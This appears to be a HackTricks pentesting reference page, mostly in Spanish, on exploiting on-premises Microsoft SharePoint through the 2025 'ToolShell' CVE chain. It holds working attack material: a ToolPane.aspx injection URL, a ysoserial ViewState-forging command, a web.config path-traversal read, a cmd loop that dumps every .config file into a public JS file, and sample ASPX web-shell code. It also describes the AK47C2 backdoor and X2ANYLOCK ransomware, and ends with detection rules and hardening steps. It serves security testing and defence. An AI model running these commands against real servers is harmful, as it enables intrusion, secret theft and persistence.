9.1 KiB
Microsoft SharePoint – Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
Microsoft SharePoint (local) está construido sobre ASP.NET/IIS. La mayoría de la superficie de ataque web clásica (ViewState, Web.Config, shells web, etc.) está presente, pero SharePoint también incluye cientos de páginas ASPX y servicios web propietarios que amplían drásticamente la superficie de ataque expuesta. Esta página recopila trucos prácticos para enumerar, explotar y persistir dentro de entornos de SharePoint con énfasis en la cadena de explotación 2025 divulgada por Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 cadena de explotación (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Inyección de Código en ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
permite que se inyecte código arbitrario de Server-Side Include en la página, que luego es compilado por ASP.NET. Un atacante puede incrustar C# que ejecuta Process.Start()
y dejar caer un ViewState malicioso.
2.2 CVE-2025-49706 – Bypass de Autenticación Inadecuado
La misma página confía en el encabezado X-Forms_BaseUrl para determinar el contexto del sitio. Al apuntarlo a /_layouts/15/
, se puede eludir la MFA/SSO impuesta en el sitio raíz sin autenticar.
2.3 CVE-2025-53770 – Deserialización de ViewState No Autenticada → RCE
Una vez que el atacante controla un gadget en ToolPane.aspx
, puede publicar un valor __VIEWSTATE
no firmado (o solo con MAC) que activa la deserialización de .NET dentro de w3wp.exe, lo que lleva a la ejecución de código.
Si la firma está habilitada, roba la ValidationKey/DecryptionKey de cualquier web.config
(ver 2.4) y forja la carga útil con ysoserial.net o ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}
2.4 CVE-2025-53771 – Traversal de ruta / Divulgación de web.config
Enviar un parámetro Source
manipulado a ToolPane.aspx
(por ejemplo, ../../../../web.config
) devuelve el archivo objetivo, permitiendo la filtración de:
<machineKey validationKey="…" decryptionKey="…">
➜ forjar ViewState / cookies ASPXAUTH- cadenas de conexión y secretos.
3. Recetas de post-explotación observadas en la naturaleza
3.1 Exfiltrar cada archivo .config (variación-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
El debug_dev.js
resultante se puede descargar de forma anónima y contiene toda la configuración sensible.
3.2 Desplegar un shell web ASPX codificado en Base64 (variación-2)
powershell.exe -EncodedCommand <base64>
Ejemplo de carga útil decodificada (abreviado):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Escrito para:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
La shell expone puntos finales para leer / rotar claves de máquina que permiten forjar cookies ViewState y ASPXAUTH a través de la granja.
3.3 Variante ofuscada (variación-3)
La misma shell pero:
- colocada en
...\15\TEMPLATE\LAYOUTS\
- nombres de variables reducidos a letras individuales
Thread.Sleep(<ms>)
añadido para evasión de sandbox y bypass de AV basado en tiempo.
3.4 AK47C2 puerta trasera multiprotocolo y ransomware X2ANYLOCK (observado 2025-2026)
Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell después de RCE inicial para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint:
AK47C2 – variante dnsclient
- Servidor DNS codificado:
10.7.66.10
comunicándose con el dominio autoritativoupdate.updatemicfosoft.com
. - Los mensajes son objetos JSON encriptados con XOR con la clave estática
VHBD@H
, codificados en hex y embebidos como etiquetas de subdominio.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Consultas largas son fragmentadas y prefijadas con
s
, luego reensambladas del lado del servidor. - El servidor responde en registros TXT que llevan el mismo esquema XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- La versión 202504 introdujo un formato simplificado
<COMMAND>::<SESSION_KEY>
y marcadores de fragmento1
,2
,a
.
AK47C2 – variante httpclient
- Reutiliza la misma rutina JSON & XOR pero envía el blob hex en el cuerpo HTTP POST a través de
libcurl
(CURLOPT_POSTFIELDS
, etc.). - El mismo flujo de trabajo de tarea/resultado permite:
- Ejecución arbitraria de comandos de shell.
- Intervalo de sueño dinámico e instrucciones de kill-switch.
Ransomware X2ANYLOCK
- Carga útil de C++ de 64 bits cargada a través de side-loading de DLL (ver abajo).
- Emplea AES-CBC para datos de archivos + RSA-2048 para envolver la clave AES, luego añade la extensión
.x2anylock
. - Encripta recursivamente unidades locales y recursos compartidos SMB descubiertos; omite rutas del sistema.
- Deja una nota en texto claro
How to decrypt my data.txt
embebiendo un Tox ID estático para negociaciones. - Contiene un kill-switch interno:
if (file_mod_time >= "2026-06-06") exit(0);
Cadena de side-loading de DLL
- El atacante escribe
dllhijacked.dll
/My7zdllhijacked.dll
junto a un legítimo7z.exe
. w3wp.exe
generado por SharePoint lanza7z.exe
, que carga la DLL maliciosa debido al orden de búsqueda de Windows, invocando el punto de entrada del ransomware en memoria.- Se observó un cargador LockBit separado (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) que desencripta el shell-code y realiza DLL hollowing end3dl1.dll
para ejecutar LockBit 3.0.
[!INFO] El mismo Tox ID estático encontrado en X2ANYLOCK aparece en bases de datos filtradas de LockBit, sugiriendo superposición de afiliados.
4. Ideas de detección
Telemetría | Por qué es sospechoso |
---|---|
w3wp.exe → cmd.exe |
El proceso de trabajo rara vez debería generar shell |
cmd.exe → powershell.exe -EncodedCommand |
Patrón clásico de lolbin |
Eventos de archivo creando debug_dev.js o spinstall0.aspx |
IOCs directamente de ToolShell |
ProcessCmdLine CONTIENE ToolPane.aspx (registros ETW/Módulo) |
PoCs públicas invocan esta página |
Ejemplo de regla XDR / Sysmon (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Endurecimiento y Mitigación
- Parchar – Las actualizaciones de seguridad de julio de 2025 corrigen todas las cuatro CVEs.
- Rotar cada
<machineKey>
y secretos deViewState
después de un compromiso. - Eliminar el permiso de escritura de LAYOUTS de los grupos
WSS_WPG
yWSS_ADMIN_WPG
. - Bloquear el acceso externo a
/_layouts/15/ToolPane.aspx
a nivel de proxy/WAF. - Habilitar ViewStateUserKey, MAC habilitado, y EventValidation personalizado.
Trucos relacionados
- IIS post-explotación y abuso de web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}
Referencias
- Unit42 – Explotación activa de vulnerabilidades de Microsoft SharePoint
- GitHub PoC – Cadena de explotación ToolShell
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Proyecto AK47 / Explotación de SharePoint y actividad de ransomware
- Microsoft Security Advisory – CVE-2025-53770 / 53771
{{#include ../../banners/hacktricks-training.md}}